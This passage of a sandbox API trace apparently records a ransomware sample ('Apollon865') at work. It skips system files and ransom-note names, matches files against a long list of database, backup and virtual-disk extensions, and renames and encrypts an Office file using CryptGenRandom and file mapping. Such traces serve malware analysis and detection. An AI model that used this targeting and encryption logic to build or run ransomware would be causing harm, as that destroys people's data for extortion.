	[0066.615] lstrcmpiW (lpString1="POC", lpString2="jtx") returned 1
	[0066.615] lstrlenW (lpString="kdb") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="kdb") returned 1
	[0066.615] lstrlenW (lpString="kexi") returned 4
	[0066.615] lstrcmpiW (lpString1=".POC", lpString2="kexi") returned -1
	[0066.615] lstrlenW (lpString="kexic") returned 5
	[0066.615] lstrcmpiW (lpString1="L.POC", lpString2="kexic") returned 1
	[0066.615] lstrlenW (lpString="kexis") returned 5
	[0066.615] lstrcmpiW (lpString1="L.POC", lpString2="kexis") returned 1
	[0066.615] lstrlenW (lpString="lgc") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="lgc") returned 1
	[0066.615] lstrlenW (lpString="lwx") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="lwx") returned 1
	[0066.615] lstrlenW (lpString="maf") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="maf") returned 1
	[0066.615] lstrlenW (lpString="maq") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="maq") returned 1
	[0066.615] lstrlenW (lpString="mar") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="mar") returned 1
	[0066.615] lstrlenW (lpString="marshal") returned 7
	[0066.615] lstrcmpiW (lpString1="FUL.POC", lpString2="marshal") returned -1
	[0066.615] lstrlenW (lpString="mas") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="mas") returned 1
	[0066.615] lstrlenW (lpString="mav") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="mav") returned 1
	[0066.615] lstrlenW (lpString="maw") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="maw") returned 1
	[0066.616] lstrlenW (lpString="mdbhtml") returned 7
	[0066.616] lstrcmpiW (lpString1="FUL.POC", lpString2="mdbhtml") returned -1
	[0066.616] lstrlenW (lpString="mdn") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="mdn") returned 1
	[0066.616] lstrlenW (lpString="mdt") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="mdt") returned 1
	[0066.616] lstrlenW (lpString="mfd") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="mfd") returned 1
	[0066.616] lstrlenW (lpString="mpd") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="mpd") returned 1
	[0066.616] lstrlenW (lpString="mrg") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="mrg") returned 1
	[0066.616] lstrlenW (lpString="mud") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="mud") returned 1
	[0066.616] lstrlenW (lpString="mwb") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="mwb") returned 1
	[0066.616] lstrlenW (lpString="myd") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="myd") returned 1
	[0066.616] lstrlenW (lpString="ndf") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="ndf") returned 1
	[0066.616] lstrlenW (lpString="nnt") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="nnt") returned 1
	[0066.616] lstrlenW (lpString="nrmlib") returned 6
	[0066.616] lstrcmpiW (lpString1="UL.POC", lpString2="nrmlib") returned 1
	[0066.616] lstrlenW (lpString="ns2") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="ns2") returned 1
	[0066.616] lstrlenW (lpString="ns3") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="ns3") returned 1
	[0066.616] lstrlenW (lpString="ns4") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="ns4") returned 1
	[0066.616] lstrlenW (lpString="nsf") returned 3
	[0066.616] lstrcmpiW (lpString1="POC", lpString2="nsf") returned 1
	[0066.616] lstrlenW (lpString="nv") returned 2
	[0066.616] lstrcmpiW (lpString1="OC", lpString2="nv") returned 1
	[0066.616] lstrlenW (lpString="nv2") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="nv2") returned 1
	[0066.617] lstrlenW (lpString="nwdb") returned 4
	[0066.617] lstrcmpiW (lpString1=".POC", lpString2="nwdb") returned -1
	[0066.617] lstrlenW (lpString="nyf") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="nyf") returned 1
	[0066.617] lstrlenW (lpString="odb") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.617] lstrlenW (lpString="odb") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.617] lstrlenW (lpString="oqy") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="oqy") returned 1
	[0066.617] lstrlenW (lpString="ora") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="ora") returned 1
	[0066.617] lstrlenW (lpString="orx") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="orx") returned 1
	[0066.617] lstrlenW (lpString="owc") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="owc") returned 1
	[0066.617] lstrlenW (lpString="p96") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="p96") returned 1
	[0066.617] lstrlenW (lpString="p97") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="p97") returned 1
	[0066.617] lstrlenW (lpString="pan") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="pan") returned 1
	[0066.617] lstrlenW (lpString="pdb") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="pdb") returned 1
	[0066.617] lstrlenW (lpString="pdm") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="pdm") returned 1
	[0066.617] lstrlenW (lpString="pnz") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="pnz") returned 1
	[0066.617] lstrlenW (lpString="qry") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="qry") returned -1
	[0066.617] lstrlenW (lpString="qvd") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="qvd") returned -1
	[0066.617] lstrlenW (lpString="rbf") returned 3
	[0066.617] lstrcmpiW (lpString1="POC", lpString2="rbf") returned -1
	[0066.618] lstrlenW (lpString="rctd") returned 4
	[0066.618] lstrcmpiW (lpString1=".POC", lpString2="rctd") returned -1
	[0066.618] lstrlenW (lpString="rod") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="rod") returned -1
	[0066.618] lstrlenW (lpString="rodx") returned 4
	[0066.618] lstrcmpiW (lpString1=".POC", lpString2="rodx") returned -1
	[0066.618] lstrlenW (lpString="rpd") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="rpd") returned -1
	[0066.618] lstrlenW (lpString="rsd") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="rsd") returned -1
	[0066.618] lstrlenW (lpString="sas7bdat") returned 8
	[0066.618] lstrcmpiW (lpString1="KFUL.POC", lpString2="sas7bdat") returned -1
	[0066.618] lstrlenW (lpString="sbf") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="sbf") returned -1
	[0066.618] lstrlenW (lpString="scx") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="scx") returned -1
	[0066.618] lstrlenW (lpString="sdb") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="sdb") returned -1
	[0066.618] lstrlenW (lpString="sdc") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="sdc") returned -1
	[0066.618] lstrlenW (lpString="sdf") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="sdf") returned -1
	[0066.618] lstrlenW (lpString="sis") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="sis") returned -1
	[0066.618] lstrlenW (lpString="spq") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="spq") returned -1
	[0066.618] lstrlenW (lpString="te") returned 2
	[0066.618] lstrcmpiW (lpString1="OC", lpString2="te") returned -1
	[0066.618] lstrlenW (lpString="teacher") returned 7
	[0066.618] lstrcmpiW (lpString1="FUL.POC", lpString2="teacher") returned -1
	[0066.618] lstrlenW (lpString="tmd") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="tmd") returned -1
	[0066.618] lstrlenW (lpString="tps") returned 3
	[0066.618] lstrcmpiW (lpString1="POC", lpString2="tps") returned -1
	[0066.618] lstrlenW (lpString="trc") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.619] lstrlenW (lpString="trc") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.619] lstrlenW (lpString="trm") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="trm") returned -1
	[0066.619] lstrlenW (lpString="udb") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="udb") returned -1
	[0066.619] lstrlenW (lpString="udl") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="udl") returned -1
	[0066.619] lstrlenW (lpString="usr") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="usr") returned -1
	[0066.619] lstrlenW (lpString="v12") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="v12") returned -1
	[0066.619] lstrlenW (lpString="vis") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="vis") returned -1
	[0066.619] lstrlenW (lpString="vpd") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="vpd") returned -1
	[0066.619] lstrlenW (lpString="vvv") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="vvv") returned -1
	[0066.619] lstrlenW (lpString="wdb") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="wdb") returned -1
	[0066.619] lstrlenW (lpString="wmdb") returned 4
	[0066.619] lstrcmpiW (lpString1=".POC", lpString2="wmdb") returned -1
	[0066.619] lstrlenW (lpString="wrk") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="wrk") returned -1
	[0066.619] lstrlenW (lpString="xdb") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="xdb") returned -1
	[0066.619] lstrlenW (lpString="xld") returned 3
	[0066.619] lstrcmpiW (lpString1="POC", lpString2="xld") returned -1
	[0066.619] lstrlenW (lpString="xmlff") returned 5
	[0066.619] lstrcmpiW (lpString1="L.POC", lpString2="xmlff") returned -1
	[0066.619] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18eb8500, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18eb8500, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x3f40c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BIZCARD.DPV", cAlternateFileName="")) returned 1
	[0066.619] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.619] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.619] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2=".") returned 1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="..") returned 1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="windows") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="bootmgr") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="temp") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="pagefile.sys") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="boot") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="ids.txt") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="ntuser.dat") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="perflogs") returned -1
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2="MSBuild") returned -1
	[0066.620] lstrlenW (lpString="BIZCARD.DPV") returned 11
	[0066.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC") returned 62
	[0066.620] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BIZCARD.DPV" | out: lpString1="BIZCARD.DPV") returned="BIZCARD.DPV"
	[0066.620] lstrlenW (lpString="BIZCARD.DPV") returned 11
	[0066.620] lstrlenW (lpString="Apollon865") returned 10
	[0066.620] lstrcmpiW (lpString1="IZCARD.DPV", lpString2="Apollon865") returned 1
	[0066.620] lstrlenW (lpString=".dll") returned 4
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2=".dll") returned 1
	[0066.620] lstrlenW (lpString=".lnk") returned 4
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2=".lnk") returned 1
	[0066.620] lstrlenW (lpString=".ini") returned 4
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2=".ini") returned 1
	[0066.620] lstrlenW (lpString=".sys") returned 4
	[0066.620] lstrcmpiW (lpString1="BIZCARD.DPV", lpString2=".sys") returned 1
	[0066.620] lstrlenW (lpString="BIZCARD.DPV") returned 11
	[0066.620] lstrlenW (lpString="bak") returned 3
	[0066.620] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.620] lstrlenW (lpString="ba_") returned 3
	[0066.620] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.620] lstrlenW (lpString="dbb") returned 3
	[0066.620] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.620] lstrlenW (lpString="vmdk") returned 4
	[0066.620] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.620] lstrlenW (lpString="rar") returned 3
	[0066.620] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.621] lstrlenW (lpString="zip") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.621] lstrlenW (lpString="tgz") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.621] lstrlenW (lpString="vbox") returned 4
	[0066.621] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.621] lstrlenW (lpString="vdi") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.621] lstrlenW (lpString="vhd") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.621] lstrlenW (lpString="vhdx") returned 4
	[0066.621] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.621] lstrlenW (lpString="avhd") returned 4
	[0066.621] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.621] lstrlenW (lpString="db") returned 2
	[0066.621] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.621] lstrlenW (lpString="db2") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.621] lstrlenW (lpString="db3") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.621] lstrlenW (lpString="dbf") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.621] lstrlenW (lpString="mdf") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.621] lstrlenW (lpString="mdb") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.621] lstrlenW (lpString="sql") returned 3
	[0066.621] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.621] lstrlenW (lpString="sqlite") returned 6
	[0066.621] lstrcmpiW (lpString1="RD.DPV", lpString2="sqlite") returned -1
	[0066.621] lstrlenW (lpString="sqlite3") returned 7
	[0066.621] lstrcmpiW (lpString1="ARD.DPV", lpString2="sqlite3") returned -1
	[0066.621] lstrlenW (lpString="sqlitedb") returned 8
	[0066.621] lstrcmpiW (lpString1="CARD.DPV", lpString2="sqlitedb") returned -1
	[0066.621] lstrlenW (lpString="xml") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.622] lstrlenW (lpString="$er") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.622] lstrlenW (lpString="4dd") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.622] lstrlenW (lpString="4dl") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.622] lstrlenW (lpString="^^^") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.622] lstrlenW (lpString="abs") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.622] lstrlenW (lpString="abx") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.622] lstrlenW (lpString="accdb") returned 5
	[0066.622] lstrcmpiW (lpString1="D.DPV", lpString2="accdb") returned 1
	[0066.622] lstrlenW (lpString="accdc") returned 5
	[0066.622] lstrcmpiW (lpString1="D.DPV", lpString2="accdc") returned 1
	[0066.622] lstrlenW (lpString="accde") returned 5
	[0066.622] lstrcmpiW (lpString1="D.DPV", lpString2="accde") returned 1
	[0066.622] lstrlenW (lpString="accdr") returned 5
	[0066.622] lstrcmpiW (lpString1="D.DPV", lpString2="accdr") returned 1
	[0066.622] lstrlenW (lpString="accdt") returned 5
	[0066.622] lstrcmpiW (lpString1="D.DPV", lpString2="accdt") returned 1
	[0066.622] lstrlenW (lpString="accdw") returned 5
	[0066.622] lstrcmpiW (lpString1="D.DPV", lpString2="accdw") returned 1
	[0066.622] lstrlenW (lpString="accft") returned 5
	[0066.622] lstrcmpiW (lpString1="D.DPV", lpString2="accft") returned 1
	[0066.622] lstrlenW (lpString="adb") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.622] lstrlenW (lpString="adb") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.622] lstrlenW (lpString="ade") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.622] lstrlenW (lpString="adf") returned 3
	[0066.622] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.623] lstrlenW (lpString="adn") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.623] lstrlenW (lpString="adp") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.623] lstrlenW (lpString="alf") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.623] lstrlenW (lpString="ask") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.623] lstrlenW (lpString="btr") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.623] lstrlenW (lpString="cat") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.623] lstrlenW (lpString="cdb") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.623] lstrlenW (lpString="ckp") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="ckp") returned 1
	[0066.623] lstrlenW (lpString="cma") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="cma") returned 1
	[0066.623] lstrlenW (lpString="cpd") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="cpd") returned 1
	[0066.623] lstrlenW (lpString="dacpac") returned 6
	[0066.623] lstrcmpiW (lpString1="RD.DPV", lpString2="dacpac") returned 1
	[0066.623] lstrlenW (lpString="dad") returned 3
	[0066.623] lstrcmpiW (lpString1="DPV", lpString2="dad") returned 1
	[0066.623] lstrlenW (lpString="dadiagrams") returned 10
	[0066.623] lstrcmpiW (lpString1="IZCARD.DPV", lpString2="dadiagrams") returned 1
	[0066.623] lstrlenW (lpString="daschema") returned 8
	[0066.623] lstrcmpiW (lpString1="CARD.DPV", lpString2="daschema") returned -1
	[0066.623] lstrlenW (lpString="db-journal") returned 10
	[0066.623] lstrcmpiW (lpString1="IZCARD.DPV", lpString2="db-journal") returned 1
	[0066.623] lstrlenW (lpString="db-shm") returned 6
	[0066.623] lstrcmpiW (lpString1="RD.DPV", lpString2="db-shm") returned 1
	[0066.623] lstrlenW (lpString="db-wal") returned 6
	[0066.623] lstrcmpiW (lpString1="RD.DPV", lpString2="db-wal") returned 1
	[0066.623] lstrlenW (lpString="dbc") returned 3
	[0066.624] lstrcmpiW (lpString1="DPV", lpString2="dbc") returned 1
	[0066.624] lstrlenW (lpString="dbs") returned 3
	[0066.624] lstrcmpiW (lpString1="DPV", lpString2="dbs") returned 1
	[0066.624] lstrlenW (lpString="dbt") returned 3
	[0066.624] lstrcmpiW (lpString1="DPV", lpString2="dbt") returned 1
	[0066.624] lstrlenW (lpString="dbv") returned 3
	[0066.624] lstrcmpiW (lpString1="DPV", lpString2="dbv") returned 1
	[0066.624] lstrlenW (lpString="dbx") returned 3
	[0066.624] lstrcmpiW (lpString1="DPV", lpString2="dbx") returned 1
	[0066.624] lstrlenW (lpString="dcb") returned 3
	[0066.624] lstrcmpiW (lpString1="DPV", lpString2="dcb") returned 1
	[0066.624] lstrcmpiW (lpString1="DPV", lpString2="dct") returned 1
	[0066.624] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BIZCARD.XML" | out: lpString1="BIZCARD.XML") returned="BIZCARD.XML"
	[0066.624] lstrlenW (lpString="BIZCARD.XML") returned 11
	[0066.624] lstrlenW (lpString="Apollon865") returned 10
	[0066.624] lstrcmpiW (lpString1="IZCARD.XML", lpString2="Apollon865") returned 1
	[0066.624] lstrlenW (lpString=".dll") returned 4
	[0066.624] lstrcmpiW (lpString1="BIZCARD.XML", lpString2=".dll") returned 1
	[0066.624] lstrlenW (lpString=".lnk") returned 4
	[0066.624] lstrcmpiW (lpString1="BIZCARD.XML", lpString2=".lnk") returned 1
	[0066.624] lstrlenW (lpString=".ini") returned 4
	[0066.624] lstrcmpiW (lpString1="BIZCARD.XML", lpString2=".ini") returned 1
	[0066.624] lstrlenW (lpString=".sys") returned 4
	[0066.624] lstrcmpiW (lpString1="BIZCARD.XML", lpString2=".sys") returned 1
	[0066.624] lstrlenW (lpString="BIZCARD.XML") returned 11
	[0066.624] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML.Apollon865") returned 72
	[0066.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.626] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=12730) returned 1
	[0066.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.626] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.627] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.627] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.628] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34c0, lpName=0x0) returned 0x154
	[0066.629] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34c0) returned 0x100000
	[0066.631] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.631] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.631] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.631] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.631] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.632] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.632] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.632] CloseHandle (hObject=0x154) returned 1
	[0066.632] CloseHandle (hObject=0x15c) returned 1
	[0066.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.632] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.632] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d76700, ftCreationTime.dwHighDateTime=0x1c5ee67, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99d76700, ftLastWriteTime.dwHighDateTime=0x1c5ee67, nFileSizeHigh=0x0, nFileSizeLow=0x1b7ebe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BIZFORM.DPV", cAlternateFileName="")) returned 1
	[0066.632] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2=".") returned 1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="..") returned 1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="windows") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="bootmgr") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="temp") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="pagefile.sys") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="boot") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="ids.txt") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="ntuser.dat") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="perflogs") returned -1
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2="MSBuild") returned -1
	[0066.633] lstrlenW (lpString="BIZFORM.DPV") returned 11
	[0066.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML") returned 61
